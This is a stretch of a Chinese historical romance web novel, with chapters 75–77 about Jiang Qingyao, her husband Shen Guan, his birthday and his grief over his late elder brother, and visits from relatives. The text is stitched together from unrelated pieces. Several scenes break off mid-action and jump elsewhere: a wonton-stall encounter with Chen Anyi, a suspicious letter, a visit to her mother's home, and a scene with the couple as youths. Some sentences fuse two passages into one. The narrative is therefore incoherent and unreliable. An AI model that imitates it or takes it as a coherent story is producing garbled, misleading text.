李氏端坐着,也不看姜清杳,只抬手一指面前的水晶虾饺,姜清杳便小心夹到她碗中。 室内无声用食,一派沉静。 银烛和晴天站到下首两排婢女的位置上,晴天垂首静候,而银烛却抬头与李氏身旁的嬷嬷眨眼睛,她朝姜清杳努努嘴,唇角抿出看好戏般的嘲笑。 又立了半日规矩,等回到自己的听竹院时,姜清杳已然双腿打颤。 用过午膳,姜清杳躺在靠窗的罗汉床上,任小雨和晴天两人给她捏腿。 小雨忽的就掉下泪来,啜泣道:“小姐,下午就别去夫人的院子里了吧,您哪里受得住这般磋磨。” 她们姜家,老爷虽然只是八品小官,却待人温厚,小姐在家里,从来都是宠着的,哪里受过这种苦。 姜清杳双目微阖,浅浅道:“别说了。” 晴天算是个稳重的,知晓这是自古以来的规矩,她们小姐嫁入沈家,本来就诸多不易,而今若在孝道上被人抓住把柄,指不定叫人家怎样拿捏。 “小姐,您忍忍,等生下孩子就好了。”小雨安慰道。 姜清杳听着,心中揪紧,眼角淌下泪来——是啊,生下孩子就好了。 酉正,沈观下值后就往家里赶,可他回屋却不见姜清杳,原本温润的面色,刹时冷肃。 心中虽然猜想到姜清杳去了哪里,但还是问了句,“少夫人呢?” 杏子忙敛神答道:“少夫人去了夫人院子里。” “自我早晨走后,少夫人都做了什么?”沈观负手而立,背对着杏子,冷冷问道。 杏子瞧公子这模样,心中颤颤,一五一十交代了姜清杳今日做的事。 “早晨您走后,少夫人并没有再睡,简单用过早膳,就往夫人的院子里去了,午时回来用了午膳,休憩了一小会儿,又去夫人那边了……” 沈观听着,面色冷沉,好似蒙着一层寒冰,他转身,抬脚往华阳居的方向行去。 姜清杳笑眯眯点头:“是呀。” 她指指沈观,介绍:“我夫君考中探花了,和我阿爹一样都在京城做官,以后都在京城,年节才会回来。” 老板娘很惊叹一番,又有客人来了,她和姜清杳寒暄几句,又去忙活了。 沈观被姜清杳的一句夫君,唤得眉目舒展,眼儿弯弯。 馄饨热腾腾的,姜清杳埋头吃。沈观吃得快一些,很快吃完了,在一旁陪着,又看看四周,见抚阳变化不是很大。 正想着要不要去给姜清杳再买一些旁的她爱吃的东西,只瞧她闷头不停,心里想恐怕是饿了一阵了,却没和他说。 不远处一个青年刚好和他视线撞上,惊讶的走上前来。 沈观视线淡漠,微微蹙眉,先开口道:“陈公子。” 第 75 章 第 75 章 被沈观唤作陈公子的青年陈安易在抚阳算是少有的俊秀,姜清杳闻声抬起头来时,也愣了愣。 她只是觉着有些眼熟,盯着对方看了几秒,却没想起在哪儿见过陈安易。 一旁一直注意着姜清杳的少年,面色立时便不好看了,唇角的笑意微僵。 沈观微低下眼,沉默一会儿,主动笑着道:“清杳,这是陈公子。”陈府是抚阳有名有姓的粮食大户,常年和县令也有交道,陈大人出入姜府,姜清杳偶然也见过几次。 沈观这样简单介绍一句,姜清杳便知道该是抚阳最出名的那家陈府中的公子了。她觉得眼熟,兴许是因为以前姜忠元给她看过这人的画像,留下了点印象。 只是,她好像记得沈观说两人合不来。 在姜清杳的期盼下,生辰这一日很快到来。 早晨,姜清杳早早就醒了,微微抬起身子,见沈观还睡着,姜清杳的唇角便弯了起来。 极小心地绕过睡在外侧的他,姜清杳下了床,趿上绣鞋,穿上了锦袄,去了小厨房。 这是自己陪他过的第一个生辰,虽不知道他从前是怎样过的,但长寿面总是要吃的。 所以她想亲手做一碗长寿面给他,愿他年年有今日,岁岁有今朝。 姜清杳从长廊走过,天气依旧冷冽,抬首望去,灰蒙的天边浮着一线暗蓝色的鱼肚白。 小厨房里一派热气蒸腾,厨娘在姜清杳昨日的吩咐下,早熬好了大骨汤,面也揉好了,只等着姜清杳来。 晴天和小雨给姜清杳束上襻膊,姜清杳净手后,拿过揉好的面团,利落在案板上弹开、拉长、又反复绞股,再拉开…… 为他做着这些事时,姜清杳心中充盈又幸福。 他是天上皎月,本应娶高门贵女为妻,却为救她,而娶了小门第的自己,婚后处处体贴维护,是不可多得的好夫君,姜清杳很感激他。 姜清杳展开双臂,小心地把面线尽量拉长。一定要长长的才好,她要他长命百岁。 未嫁之前,她常年困在深闺,很是孤寂,总是寻些事来打发时间,下厨便是其中一件。 等一碗细长的面煮好,姜清杳添上大骨汤,又卧上一个鸡蛋,撒上葱花,如此,便好了。 每年过生辰时,娘亲给她做的长寿面就是这样,简单又温馨。 姜清杳在小厨房忙完,回内室后,见沈观还睡着,俊挺的眉宇间,有小小的沟壑,像是有难解的烦恼侵入了他的睡梦中。 姜清杳怕自己身上烟火气熏着他,转身去浴室换衣裳。 出来时,沈观却醒了,静静坐在床沿。 放眼望去,姜清杳感觉他似乎有些不开心,她一顿,而后移步向前,轻声唤他:“夫君……” 沈观听到声音,从怔愣中回神,抬首冲姜清杳扬起一抹笑意。 可姜清杳却莫名感觉他这笑容破碎又凄清。 仅是一瞬,这种想法便被沈观打断,“怎么这么早就起来了?” 姜清杳抿唇一笑,忍着不说。待他洗漱后,服侍他更衣。 其实说服侍,也仅是帮他拿个衣裳、配饰。他太高了,姜清杳站在他身边,只够到他肩膀。 待沈观穿戴齐整,晨曦才将将从板棱窗外照进来,在朦胧的曦光中,姜清杳忍住羞怯,双手攀住他的臂弯,掂起脚尖,红唇蜻蜓点水般在他侧颊上浅浅亲了一下。 “夫君,生辰吉乐。” 沈观一怔,默了一下,才微微笑道:“多谢夫人。” 一种怪异漫上心间,他一如既往温润地笑着,姜清杳却忽然心头一阵苦涩。 直到用早膳时,姜清杳端来长寿面,设想中他感动的神色没有出现,只见他抿着唇,良久才现出一丝笑容,再言:“多谢夫人。” 姜清杳将筷子递到他手边,沈观顿了顿,才接过。 室内岑静,压抑着莫名低沉的情绪。 沈观挑起几跟细面,在姜清杳期待的目光下,停顿许久。 “抱歉,我想起还有急事要办。”他说着,放下筷子,仓促起身,匆匆拿过大氅,便出了门。 变化来得突然,姜清杳脑袋空白,呆呆坐在桌边。 怀着复杂的心情,姜清杳用过早膳后,去往华阳居,她想去问问婆母,今日是怎么安排他的生辰。 一路上,遇见的仆婢们都静悄悄的,每个人垂着脑袋,一副谨言慎行的模样。一夜之间,沈家宅院上空仿佛蒙上了一层阴霾。 姜清杳心想,一定发生了什么事,而她却不知道。 到了华阳居后,却发现这里更为死寂。 李氏身边的心腹嬷嬷孙嬷嬷在屋外拦下姜清杳,“少夫人,昨夜里夫人受了寒,正休息着呢。” 姜清杳眉梢微蹙,关切道:“可有让薛大夫来看过?他怎么说?既然母亲病了,那我更应当在她跟前服侍照顾。” 孙嬷嬷却含糊道:“无妨,夫人说她躺躺,静心养个一两日就好了。” “那好歹让我请个安,这个样子,我怎好向夫君交代。”姜清杳又道。 “没事没事,这天寒地冻的,少夫人您回去好好歇着便是,夫人这边有我们服侍,一样的。”孙嬷嬷一面打哈哈,一面挽住姜清杳手臂,把她往院外带。 姜清杳一步三回头,带着疑惑回了听竹院。 换过衣裳,才想叫杏子过来,问明府中到底是怎么回事,却不想沈家二房的三嫂就来了。 丫鬟们忙着上茶摆果盘,姜清杳与三嫂吴氏在里间落座。 二房是老太爷的庶出,吴氏和善爱笑,不像嫡出的三房那边的人,在姜清杳面前高傲得鼻孔朝天。 姜清杳把果盘一侧转到吴氏身前,笑道:“三嫂尝尝这个青梅,这是我春日里腌制的。” 吴氏也是出身书香门第,鹅蛋脸型,眉眼总是弯弯的,看起来一团和气的样子。 “你别忙,早几日就想来寻你唠嗑,又怕你在新婚当中,叨扰了你。”吴氏笑着,捡起一颗青梅,送到嘴边咬了一口,尝了一下后,双眸亮起,“没想到七弟妹这样手巧,这青梅竟比味知斋的更好吃,酸甜脆口,还带着紫苏姜味。” 姜清杳笑道:“瞧你说的,都夸得我脸红了。” 吴氏吃了一颗,抿了两口茶后,又捻起一颗来吃,“说真的,你这是哪里寻的方子?明年春天,也带我一起做。” 姜清杳高兴道:“这可好,以前在家时,就只我一人捣鼓这些吃食,现在终于有伴了。” 吴氏见姜清杳和气好说话,便也起了几分真心相交的意思。 两人喝着茶,吴氏与姜清杳闲谈府中往事,让姜清杳对沈家熟悉许多。 想着今天的怪事,姜清杳便问:“三嫂,今日是夫君生辰,为何感觉府中说不出的怪异。” 吴氏正因这事而来,见姜清杳主动问起,没有立刻回答,只是一双眼睛左右看向屋子里的婢女。 姜清杳心下了然,挥退婢女后,鹿眸疑惑望向吴氏。 吴氏嫁来沈家六年,生下一儿一女,也算是在沈家扎根了。但这件事就像一个禁忌,她此刻说起,也是不由得捏紧了手中绢帕。 “早晨听见婢女说你往华阳居去了,我料想你还不知道这事,便想过来给你提个醒儿,怕你冲撞了。”吴氏说道。 姜清杳黑白分明的鹿眸现出惊异,果然有事。 吴氏停顿稍许,才缓缓开口:“这事我也只是听说……” “你可知夫人有位过身的嫡长子。”吴氏问道。 姜清杳点头,沈观有位过世的嫡亲大哥,她是知道的。 见姜清杳点头,吴氏才说:“大哥、单名一个煜字,若还活着,今年应是二十七了。” 吴氏遥想着,“据闻,大哥气韵高洁,宛若谪仙。精通书法、音律、丹青,可谓旷世奇才。那时,常有名家大儒持贴来沈家拜访,一卷书画可值千金,元夕夜上,一曲随性弹奏,风靡满京。” “许是天妒英才,大哥从书院雪夜归京……”说到此,吴氏顿住了。 姜清杳心头揪紧,一种莫名的担忧和害怕撕扯着她。 吴氏深吸一口气,而后又道:“大哥雪夜归京、不甚坠马,过身当日,便是十二年前的今天,彼时,他是为着赶回来给七弟过生辰。” 姜清杳惊呼,片刻后,泪珠簌簌滚落。 刹时,一种尖锐的疼痛袭击她的四肢百骸,搅动出难以抑制的悲拗,这深切的悲痛和心疼,堵得姜清杳发不出声来。 十二年前,他才十岁,该是怎样的自责,来让他面对自己嫡亲大哥的死亡。 吴氏望着泪如泉涌的姜清杳,捏帕给她拭去,哽声安慰:“别哭,都过去了。” 可是,姜清杳知道,在沈观心中,这件事,从未过去。 姜清杳不知他今日在翰林院是怎样过的,早晨、中午,可有用食? 提着心担忧了一整日,好不容易挨到他放班的时辰,观望徘徊,却不见他。 天色已暮,浮观远逝。 姜清杳起身,去到长廊上,但见外头烈风呼啸,白雪乱舞。 当年那夜,是否也和今日一般,饕风虐雪,十岁的他是怎样撑过来的?想到此,姜清杳不禁泫然泣下。 “公子回来了。”晴天小声来报。 姜清杳心尖一颤,转身回望,却听晴天又说:“公子去了书房。” 姜清杳眼中猝然亮起的光芒迅速黯淡下去,默默回屋,木然枯坐良久,尔后起身,道:“晴天,去点几盏风灯来。” 屋内婢女静悄悄地,就连银烛也不敢在此时放肆,晴天答应着,很快燃了风灯来,婢女们提灯在前,晴天与小雨一左一右护着姜清杳在后,向书房走去。 狂风扬起姜清杳洁白的大氅,晴天撑着的伞被吹得东倒西歪,冰寒的雪珠打在脸上,姜清杳竟不觉得冷,一种执念支撑着她披斩风雪——她想他,想见他。 书房关着门,没有一丝灯火,黑魆魆静悄悄的,书童和侍从们在躲在耳房避风雪,只有沈延,独自守在廊下。 沈延见姜清杳来了,明显松了一口气,他朝姜清杳躬身行礼,“少夫人。” 姜清杳颔首,从杏子手中接过一盏风灯,沈延随即推开隔扇门,姜清杳便提灯走了进去。 屋内漆黑一片,没有燃炭盆,冷得像个冰窟。 风灯摇曳,在这一星灯火中,姜清杳一眼望见椅上独坐的沈观,他整个人枯寂又霜寒。 姜清杳心间骤疼,眼中酸胀,泪水就没来由的涌了出来。 沈观听见声响,恍惚抬首,见来人是姜清杳,她手上风灯闪烁微明,于孤寒暗夜中向他走来。 他眸中沉浮着破碎的悲戚,眸色一转,便想将碎片收敛,给她一抹温煦的笑。 却在她一步一步走来时,望见她眸中满蓄的泪水,一瞬间,那点伪装的心思泄防,只余含糊的一句:“你来了。” 在姜清杳眼中,他是光风霁月的世家公子,是才华横溢的翰林学士,是温柔体贴的夫君。他完美而强大,是她仰慕的存在。 可当有一天,神祇掉入尘沼,她却心疼得无以复加。 姜清杳走到他身前,把风灯放在他身侧的高几上,伸手握住他肩头,轻声道:“怎么不燃灯?中午可在翰林院用过膳?随我回去吧,这里好冷。” 沈观听着她絮絮地关心,抬手拥住姜清杳的腰,脑袋靠在她身前,声音低哑地唤她:“杳儿……” 姜清杳心间绞痛,亦抬手拥住他,下颌搁在他发顶,流下泪来。 “不是你的错。” 果然,没一会儿,夏元思就喊住他:“这么久不见,你就闷头找,寒暄也不寒暄一下,找什么呢这么专心。”两人昔日在衡阳最是相熟,便是沈观到了京城,也有书信往来,语气也熟稔。 沈观看一眼他,有些头疼。索性直接将手里的纸递给他:“帮我找找。” 夏元思扫一眼,眼睛一亮。 沈观已经飞快道:“不知道,不是我,我是受托来买的,快些找,我急用。” 夏元思:…… 他帮沈观找了,还是硬拉着他天南地北侃了一通,言道这次落第,三年后还会再下场考试。 沈观自然宽慰一番,思量一下,又向他说了些自己的经验。 一来二去,耽误了不少时间。 沈观不知道的是,这会儿府上,小伍已经急成热锅上的蚂蚁了,就差和沈观有个心灵感应,喊他速速回来,大事不妙!! 第 76 章 3000营养液加更 一刻钟之前。 沈观已经离开好一会儿,府外却有人进来通报,说是一个丫鬟拿了一封信来,专给府上夫人的,一定要夫人亲自拆了看。 门房的小厮不知内情,但又怕耽误了事,仔细检查一遍信件没什么异常,才送到姜清杳面前。 冷脸侍卫当即便觉得不对,借口说要检查一遍,奈何这信上用蜡封着,姜清杳又在一旁一眨不眨的看着,小伍有心看看这是什么,也不好动作。 但多年侍卫的直觉让他知道,这封信来者不善。 于是姜清杳看着冷脸侍卫翻来覆去的检查,拿在手里好一会儿,对她说:“夫人,这信来路不明……不如等公子回来再看吧。” 姜清杳越看越有点怀疑人生了。转眼间,姜清杳嫁来沈家已有一个月了。 时下出嫁女在腊八节前都要往娘家送年礼,姜清杳也惦记着这事,昨日夜里便跟沈观交代好今日要回姜家送年礼,这回沈观答应得很痛快。 他清晨先去翰林院点了卯,处理了些事情,在半上午折回沈家,接了姜清杳回娘家去。 很快,两辆马车一前一后停在姜家影壁处,姜清杳下了车来,和沈观往里走,留下婢女们与姜家的婢女婆子去卸后一辆马车里的年礼。 姜家只有二进的院子,姜父也只是光禄寺的一名从七品署臣,他为官清廉,为人正直,故而总也升不上去。 好在姜夫人娘家是川南富商,嫁给姜父时,陪嫁了许多银钱铺面,姜夫人也善经商理财。姜家虽表面看起来清贫,但内里却是极殷实的,这点仅从姜清杳出嫁时成箱的华服便可窥一二。 这会子,姜夫人在正房里踱步,等得心急,若只有她杳儿一人回来,她必定去影壁迎她,但姑爷也随来,姜夫人便要按礼节,在正房等他们来拜见。 只听外头小丫头报:“小姐和姑爷回来了。” 姜夫人一个机灵,立马回身在太师椅上坐好,就见门帘被丫鬟高高挑起,一双璧人相携而来。 “母亲。”两人行礼,齐声唤道。 姜夫人“诶”了一声,忙叫他们坐。这时姜清杳的弟弟姜皓,便过来对姜清杳和沈观行礼,“见过姐姐、姐夫。” 沈观只淡淡“嗯”了一声,姜清杳却很欢喜,招手让姜皓走近些,等他过来了,便一把将弟弟揽到怀中,捏捏他的脸,又来牵他的手,细细问道:“近日在家可好?吃了什么好吃的?去哪里玩了?” 姜皓十一岁,是个唇红齿白的小少年,往常姜清杳没出嫁时,他们姐弟便如此相处,可这会儿姜清杳嫁了人,姜皓便感觉别扭了,更何况这会子姐夫瞅着他的目光又是这样犀利。 于是姜皓便扭着身子从姜清杳手上逃出来,他后退两步,恭敬朝姜清杳行了一礼,答道:“弟弟在家一切都好,近日天寒,也只是在家里看几本书,没有出去外面玩。” 姜清杳和姜夫人瞧他小大人的模样,噗嗤笑出声来。 姜清杳笑道:“姐姐才出嫁一个月,皓儿就长大了。” 姜夫人却拆姜皓的台,“你瞧他现在这个样子,你没回来时,成日里姐姐姐姐的不知念叨多少回。” 姜皓被揭了老底儿,红着脸小声抗议:“哪有!” 沈观端着茶盏不动声色地喝茶,心中却道姜家把姜皓养得太娇气了,他们沈家,男子十岁以后就要移到外院居住,由父亲严加管教。 “年后,皓弟是否还在家里请先生来教?”沈观适时插话。 对于姜皓的教育问题,姜母可畏操碎了心,她虽有些银钱,但他们家终归只是个七品小官,那些名家大儒哪里请得来,城外青华山上的白鹿书院是极好,可那里只收世家子弟,她哪里送得进去。 这时姜夫人听见女婿这般问,便点头道:“还是在家里请先生教的。” 沈观微微蹙眉,“小婿瞧着白鹿书院还算不错,母亲可愿将皓弟送往那里读书?” 姜夫人正为这事发愁,叹息道:“我也想送他去白鹿书院,只怕书院不收你弟弟。” “这事母亲不用担心,只要皓弟肯去,小婿便想法子将他送进去。” 沈观说着,视线转向姜皓,问道:“书院不比家里,条件必定艰苦些,你可愿去?” 姜皓从前的玩伴中,就有一人家里托关系将他送进了白鹿书院,彼时他甚为艳羡,如今听沈观这样说,便十分雀跃,拍着胸脯道:“我已经长大了,不怕吃苦,况且男子当读书考功名,怎可留在家里玩闹。” 沈观颔首,看来只是表面养得娇,内里还是好的。 姜夫人其实想过托沈家的关系将姜皓送去白鹿书院,可一想到姜清杳高嫁进沈家,日子过得艰难,便不肯让女儿难做。而现在沈观主动提起,她便放心答应,笑道:“这下可好,我得赶紧多做些厚衣裳才行。” 姜清杳心中也很高兴,她早就想让弟弟去白鹿书院上学了。 如此喝过一盏茶,沈观说要考教姜皓功课,两人便出了正房,往姜皓的屋子里去。 等两人走后,姜夫人忽的红了眼圈,她起身走到姜清杳身边,牵起她的手,仔细看她,“杳儿,你可还好?” 姜清杳也被自己娘亲感染得红了眼,她起身挽住姜夫人手臂,随她一起往内室走去。 两人坐在内室里的软炕上,姜清杳依偎在姜夫人身旁,娇声道:“他、对我很好。” 姜夫人望着女儿花朵似的娇靥,仔细瞧她神态气色,是比上次回门好了许多,心中便微微宽心,“公子对你好,你也得待他好才行,别像在家里似的娇气任性。” 姜清杳点头,轻声说:“我记下了。” 姜夫人对姜清杳高嫁这事,依旧叹息不已,她不是那等攀权附贵的人,她只希望自己女儿的过得舒心,沈家门第太高了,她们这些娘家人,是说不上话的。 姜夫人心中想着这些事,手上轻轻拍着姜清杳的肩,说道:“成婚一个月了,也不知肚子有没有动静,杳儿,男子心亦变,更何况他那等世家权贵子弟,在外接触的各色人等不知凡几,你得生下孩子才能在沈家安心立足,孩子与你骨血相连,是你一生的依靠。” 姜清杳的手不自觉移到肚子上,这里、有个小生命在悄悄孕育吗? 姜清杳和沈观在姜家用过午膳,就乘马车回去沈家,沈观送了姜清杳回来,又匆匆出去了。 姜清杳换了衣裳,正想躺会儿,便听杏子禀报,“少夫人,四房的三娘今日回来了,方才还谴小丫头来问您是否到家,想来待会儿要来咱们这边。” 姜清杳偏头想了想,四房不是随老太爷老太太住在昆弥,怎么这三娘回来了? 杏子见姜清杳想不起来,便将三姑娘的事一一道来。 “三娘前些年嫁给了一位出身贫寒的进士,后来随他去湖广任职,据说这位三姑爷,在任上属实办了几件大案,连圣上都惊动了,这次回京朝觐考察,都在说三姑爷明年要升大官了。” 姜清杳听了,很是为三姑娘高兴,四房是老太爷的庶出,而三娘又是四房的庶出,能有今日,也算造化了。 才说着话,这位三姑娘就来了。 “三娘见过七嫂。”三姑娘沈明希曲膝朝姜清杳行礼。 姜清杳起身,牵过她的手,笑道:“若知道你今日来,我就不回娘家去了。” 沈明希惶恐道:“哪能让七嫂等我。” 姜清杳牵住她的手,带她在偏厅的软炕坐下,柔柔道:“你是远道而来,我这里离得近,哪日回去都是一样的。” 这时福橘来上热茶,晴天摆果盘点心,沈明希笑道:“七嫂快让她们别忙活了,我们姑嫂说说话就行。” “你离京许多年,必定想家,瞧瞧这里可有你往日爱吃的?”姜清杳打量着她,见她一张鹅蛋脸,小琼鼻,眸光明亮,只是眉宇间,仿佛有丝郁色。 沈明希听着,心下感动,眼里忍不住涌出热泪,她捏着帕子沾了沾眼角,破涕笑道:“瞧我,好好的就爱掉眼泪,让七嫂笑话了。” 姜清杳“害”了一声,笑道:“怎么会,出门在外,怎能不想家?别说你到了那样远的地方去,就是我,刚嫁过来那几天,也是想家的呢!“ 沈明希见这位七嫂不仅人长得美,说话也轻言细语的,还不轻看她,心中便有些喜欢。她招了招手,身后的婢女便上前来,将手中捧着的一个锦盒呈到两人之间的小方桌上。 “七嫂,你与七哥成婚时,小妹没法赶回来参加你们的婚宴。”沈明希一边说,一边站起身来打开锦盒,从里头捧出一方玛瑙雕琢的雪雁,笑道:“这是我送给你和七哥的新婚礼物,愿你们比翼双飞,百年好合。” 姜清杳移目往桌上看去,但见透红的玛瑙上雕着两只雪雁,栩栩如生又流光溢彩。 “三娘,这也太贵重了。”姜清杳担心她过于破费。 沈明希笑了笑,“有次夫君偶然得了这块玛瑙,我瞧着甚是好看,便想雕成比翼雪雁送给你。” 姜清杳心中明白,这样大一块上乘的玛瑙,定是这位三姑爷在地方上,有人送给他的。便也收下了,笑道:“如此,那我便和你七哥一起谢过三妹妹了。” 沈明希忙说:“哪里哪里。” 两人又聊些家常,说些体己话,可谓宾主欢宜。 姜清杳也发现这位三娘温柔和气,与她说话,甚是愉悦。便道:“怎的没把小宝带过来?我可喜欢小孩子了,你该带他过来才是。” 问到这句,沈明希脸上的笑容一下子收了起来,她叹了口气,闷闷道:“是我肚子不争气,成婚三年,却都怀不上孩子。” 姜清杳一惊,原来她脸上的沉郁之气因着这个,成婚三年都没生孩子,可真够愁人。 “可有寻大夫看过?是哪方面的原因?”姜清杳忙问。 沈明希说到这件事,眼圈便红了,她略带哽咽道:“大夫看过不知凡几了,那边方圆上百里,只要是有名儿的大夫,我都请来看过了。”她抽了一声气儿,又道:“都说我宫寒,不易有孕。” 姜清杳伸手,握住沈明希的手拍了拍,安慰道:“别急,你如今回京了,京里大夫本事大,再请他们好好瞧瞧。” 沈明希听姜清杳这样说,面色稍微好了些,但到底郁气难掩,叹道:“怎能不急?我家里,庶子都有两岁了。” 待夜里沈观回来,姜清杳便将那方红玛瑙雪雁拿出来给他看,“今日四房的三妹妹回来了,下午来了听竹院,这是她送我们的新婚礼物。” 沈观歪在贵妃榻上,远远扫了一眼,淡淡道:“还行。” 姜清杳撇撇嘴,放下雪雁,坐到他身边,为三娘郁闷道:“三娘成婚三年了,还未生子,可庶子都有两岁了。” 姜清杳说着,叹息一声,牵过沈观的手,柔嫩细指在他骨节分明的长指不自觉来回滑动,又道:“你说这可如何是好?庶子年长可不是好事,唉……希望三娘赶紧生下自己的孩子,未来才有依靠。” 沈观听着,并不作声,这是妹妹的家事,他管不着。 但姜清杳的手指,在他手上不断摩挲,却使他莫名心痒,心思一动,问道:“你是不是也想生孩子?” 姜清杳一愣,正说着三娘的事,他怎么说到她身上了,但是说到孩子,她确实是很想要的,便道:“那当然,只有自己的孩子,才是一辈子的依靠。” 沈观挑眉,这话怎么听着不对劲? 不过片刻后,他就把这点困惑丢到一边。他起身,横抱起姜清杳往床塌走去,“行,现在就生孩子。” 这话引得姜清杳小小惊呼,抓着他衣衫的手也不自觉揪紧。 沈观几步走到床边,将她轻轻放到床上,颀长的身躯随即覆下来,柔声问:“养了这么些日子,已经好了是不是?” 姜清杳知道他问的是什么,扭过羞红的脸,小声道:“没有。” 沈观轻笑一声,俯身往下,去撩她的裙摆,声色沉沉:“那我看看好没好……” 少女声音都变了,纤手指着少年:“沈观?你!” 沈观心一紧,立即为自己辩解:“我断没有做过这样卑鄙的事情!那是燕洵自己运气不好,碰上了蜜蜂蛰脸!” “这送信之人心眼太坏,什么有的没得都强加给我,陈安易定是看我们夫妻情深,这才是真正的从中做梗。” “我若要做,也只是一些无伤大雅的,断没有因此去毁旁人容貌的,何况,清杳也曾说过我比燕洵好看的多不是吗?我又何苦在这上面做小动作?” 姜清杳表情有些松动了。 “清杳,你信我!”少年诚恳道,顺便趁机握住了姜清杳指着他的纤手。 第 77 章 第 77 章 姜清杳的确说过沈观比燕洵好看这话。 那几日因着两声燕公子,沈观醋得不行。 姜清杳不耐烦了,揪着他的脸就问,到底要闹多久,沈观格外幽怨的说她喜欢俊秀青年,那日可不止唤了燕公子,他远远瞧见了,姜清杳看了燕洵好几眼。 姜清杳瞠目结舌,她自己都不记得那日有盯着燕洵看过,偏沈观在心里记了那么久。 只好哄他,定是无意看了几眼而已,何况沈观更俊美,她日日看他不好吗。 少年当即心花怒放,问了几遍当真吗,姜清杳肯定的点头,沈观便再不缠着姜清杳因这事吃醋了。 姜清杳盯着他看,沈观有点心虚,只好又道:“也不会乱吃飞醋了。” 他又一连串保证了许多。沈观身体一震,手上收力,更紧地圈住她,闷声道:“大哥那样的人,我永远也无法企及。” 书房里岑静昏暗,只有一盏风灯,照亮两人相拥的轮廓。 姜清杳抬手,环住胸前之人,疼惜地轻抚他的发,“不,大哥是大哥,你是你。你是沈观,是我夫君。你很好!” “不是你的错,那只是一个意外。”姜清杳叹息。 沈观肩膀颤缩,抱着她久久不肯松手。 来时风雪肆虐,回时,风雪已停。 两人踩着皑皑新雪往听竹院走去,交握在一起的手,冰凉中又有丝丝暖意在掌心流转。 回屋后,各自换衣净面,再出来时,沈观已然神色如常,玉面上,依旧温润谦和。 “饿了吧。”姜清杳轻声问道,见沈观摇头,姜清杳眼波流转,斜睨他一眼,嗔道:“你不饿,我都饿了,正等你回来用膳呢。” 沈观唇角微笑,朝姜清杳拱手一礼,“抱歉,饿着夫人了,这便让她们传膳。” 姜清杳不妨他还能这样的,扭身羞低了头,留下一句,“你且等着。”便往屋外去了。 早上他没有吃到长寿面,这竟成为了姜清杳的执念似的,这会儿,她要再去做一碗,在她的习惯中,生辰是一定要吃长寿面的。 姜清杳束了襻膊,正和婢女厨娘们忙活着,沈观就进来了。 这处小厨房,面积不算小了,但沈观颀长的身型踏进来后,立马变得狭窄起来。 厨娘和婢女们见他进来,手上动作顿住,皆是怔怔望着他。 沈观也感受到自他来后,气氛便凝滞起来,他虚虚捏拳,轻咳一声,走到姜清杳身边,问:“需要我做些什么吗?” 都说君子远庖厨,姜清杳哪里肯让他动手,叫他回屋,他却不走。 姜清杳无奈,便指挥他,“去那边架板上拿个鸡蛋来。” 沈观长腿一迈,乖乖拿了个鸡蛋回来递给姜清杳。 姜清杳接过,利落敲开,而后小心打入滚水中。 沈观见那颗鸡蛋很快变白,在水中翻滚,又转头去看姜清杳,见她衣袖束起,露出凝脂白玉般的藕臂,纤纤素手,动作轻柔的托着细长的面条放入滚水中。 她神情温柔安谧,是沈观没有见过的样子,似乎?越相处,她便总能给他新的发现,就像一个宝盒,源源不断给他不同的惊喜。 很快,一碗素面煮好,其上卧着一颗鸡蛋,洒着翠绿的葱花。 这回,沈观终于提筷,慢慢吃了一口,面汤清香,却不寡味,混着葱香,颇为美味。 “鸡蛋也要吃。”姜清杳在旁提醒。 沈观便听话的去吃鸡蛋,惹得姜清杳眉眼弯弯。 这时,婢女们呈上晚膳,姜清杳便也动筷。 饭后,两人回了内室,沈观依旧看书,姜清杳手捧一个小匣子,递到沈观面前。 沈观莫名接过,在姜清杳的眼神示意下打开,就见里头躺着一枚白玉印章。 “这是我为你准备的生辰礼物。”姜清杳忐忑道。 当初在交换庚帖时,姜清杳便留意到他的生辰正在婚后,于是便琢磨送他什么礼物。 想到他出身不凡,必定样样不缺,姜清杳便恹恹的不知怎么办才好。不妨有一日自己刻着玉石玩儿,便神光一闪地想到给他刻一枚私印。 于是挑了块上好的白玉,让婢女拿去外头切割了,而后自己描了样子,细细雕琢。 备嫁那几月,她每日刻章,他的名字,便连同那笔画,在她心中反复纠缠。 原本姜清杳还觉得自己刻得不错,但婚后见过他的那些名家刻章后,才发现自己以为的不错,只不过是目光短浅,没有见过更好的。 沈观长指捻起,放在眼前细看,以他的目光来看,这枚小印刻工稚嫩、浮浅,与他现有几枚私印根本无法比拟。 姜清杳见他只是瞧着不说话,便愈发羞惭,在她想劈手夺回,另外补送他礼物时,却听他道:“不错。” 仅两个字,就让姜清杳眸光簇亮,她惊喜道:“真的?这可是我自己刻的,真的还不错吗?” 沈观眸色一转,心中震动,这种活计,劳心劳力,她一个闺阁女子,竟有这样大的意志,去学刻章。 还好,方才见是她送的礼物,他勉强说了句不错,现在知道是她亲手所刻,更觉意义非凡。 沈观执起姜清杳的手,放在掌心细看,果然见她食指侧边有薄茧,一时感动非常。 此时再看那支刻章,便觉是天下第一等的好。 “多谢夫人,我很喜欢。”沈观柔声道。 若干年后,沈观荣升内阁辅臣,他早年的字画,便被人拿出来欣赏品鉴。 自然是处处下笔不凡,哪哪都不缀青观,只是这字画上盖的私印,差之远矣,一看就不是出自名家之手。 便有那心机灵泛的、想攀附的,想着送枚名家刻章给沈首辅,以此结交。 也有那愣头青,见着不好,便直愣愣说了出来:“这印章,简直是毁了首辅大人这副画。” 人群中混着沈家人,看傻子似的横了这愣头青一眼,“你知道什么,这是我们夫人亲手篆刻的,首辅爱惜得跟什么似的。” 一句话,让那愣头青羞惭不已,也让那心机灵泛的趁早歇了心思。 沈观自收到姜清杳这枚小印后,往后余生,便只用这一枚私印。 那段时间,京城便风靡起了给夫君刻小印以表心意。 可这活不仅要耐心,还费气力,一不小心,闺秀们的纤纤玉指便被刻刀划伤,一时几多感慨:首辅夫人肯定是爱惨了首辅大人,才能为他做到如此地步。 只是现下姜清杳尚不知道未来,篆刻小印这种事,于她来说,只不过是十五年困守深闺打发光阴而已,她自己无聊时刻着玩的印章不知凡几。 还有爱惨了沈观这件事,更无从谈起,她对他更多的是感激,是仰慕。两人相处时,虽也有心动,但这心动不足以支撑她走完未来漫长的岁月。 他身为男子,有功名、有前程,会纳妾,会和妾室生下孩子。 而现在,姜清杳认为自己第一要紧的事是圆房,第二是生下属于自己的孩子,未来才有依靠。 连着好几日的狂风暴雪,今日却忽然停了,太阳高悬于天际,却像个明亮的摆设,没有丝毫温暖。 姜清杳早上伺候完沈观上值后,一算时日,才惊觉日子过得这样快,再等三日,竟到了李姐姐成婚的日子。 